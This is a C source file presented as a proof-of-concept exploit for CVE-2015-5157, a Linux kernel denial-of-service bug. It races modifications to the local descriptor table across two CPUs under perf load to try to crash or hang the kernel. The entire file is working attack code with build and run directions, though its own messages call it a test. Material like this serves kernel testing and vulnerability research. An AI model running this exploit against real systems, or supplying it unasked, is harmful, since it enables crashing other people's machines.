/* * Copyright (c) 2015 Andrew Lutomirski * GPL v2 * * Exploit for CVE-2015-5157, a denial of service. * Build with: * gcc -m32 -O2 -o CVE-2015-5157 CVE-2015-5157.c -pthread * * Run it and follow directions. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static void set_cs(unsigned short cs) { #ifdef __x86_64__ asm volatile ( " pushq %0 \n\t" " call 1f \n\t" "1: addq $2f-1b, (%%rsp) \n\t" " lretq \n\t" "2:" : : "r" (cs)); #else asm volatile ( " pushl %0 \n\t" " call 1f \n\t" "1: addl $2f-1b, (%%esp) \n\t" " lretl \n\t" "2:" : : "r" ((unsigned int)cs)); #endif } static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *), int flags) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = handler; sa.sa_flags = SA_SIGINFO | flags; sigemptyset(&sa.sa_mask); if (sigaction(sig, &sa, 0)) err(1, "sigaction"); } static void set_ldt(void) { const struct user_desc desc = { .entry_number = 0, .base_addr = 0, .limit = 0xfffff, .seg_32bit = 1, .contents = 2, /* Code, not conforming */ .read_exec_only = 0, .limit_in_pages = 1, .seg_not_present = 0, .useable = 0 }; if (syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)) != 0) err(1, "modify_ldt"); } static void clear_ldt(void) { const struct user_desc desc = {}; if (syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)) != 0) err(1, "modify_ldt"); } static jmp_buf jmpbuf; static volatile unsigned int ftx; static void sigsegv(int sig, siginfo_t *info, void *ctx_void) { if (ftx == 1) { printf("Unexpected SEGV\n"); _exit(1); } siglongjmp(jmpbuf, 1); } static void *threadproc(void *ctx) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(1, &cpuset); if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0) { if (errno == EINVAL) errx(1, "Failed to bind to CPU 1 -- make sure you have at least two CPUs\n"); err(1, "sched_setaffinity to CPU 1"); } while (1) { syscall(SYS_futex, &ftx, FUTEX_WAIT, 0, NULL, NULL, 0); while (ftx != 2) ; clear_ldt(); ftx = 0; } } int main(int argc, char **argv) { pthread_t thread; printf("This test runs forever. Press Ctrl-C if you get bored.\n" "If nothing happens, then either your kernel is okay\n" "or you didn't abuse perf appropriately.\n" "Run me under heavy perf load. For example:\n" "perf record -o /dev/null -e cycles -e instructions -c 10000 %s\n", argv[0]); if (pthread_create(&thread, 0, threadproc, 0) != 0) err(1, "pthread_create"); cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset); if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0) err(1, "sched_setaffinity to CPU 0"); sethandler(SIGSEGV, sigsegv, 0); sigsetjmp(jmpbuf, 1); while (ftx != 0) ; set_ldt(); #ifdef __x86_64__ // We can't add a 64-bit code segment to the LDT #error Build as 32-bit #endif ftx = 1; syscall(SYS_futex, &ftx, FUTEX_WAKE, 0, NULL, NULL, 0); set_cs(0x7); ftx = 2; while (1) ; }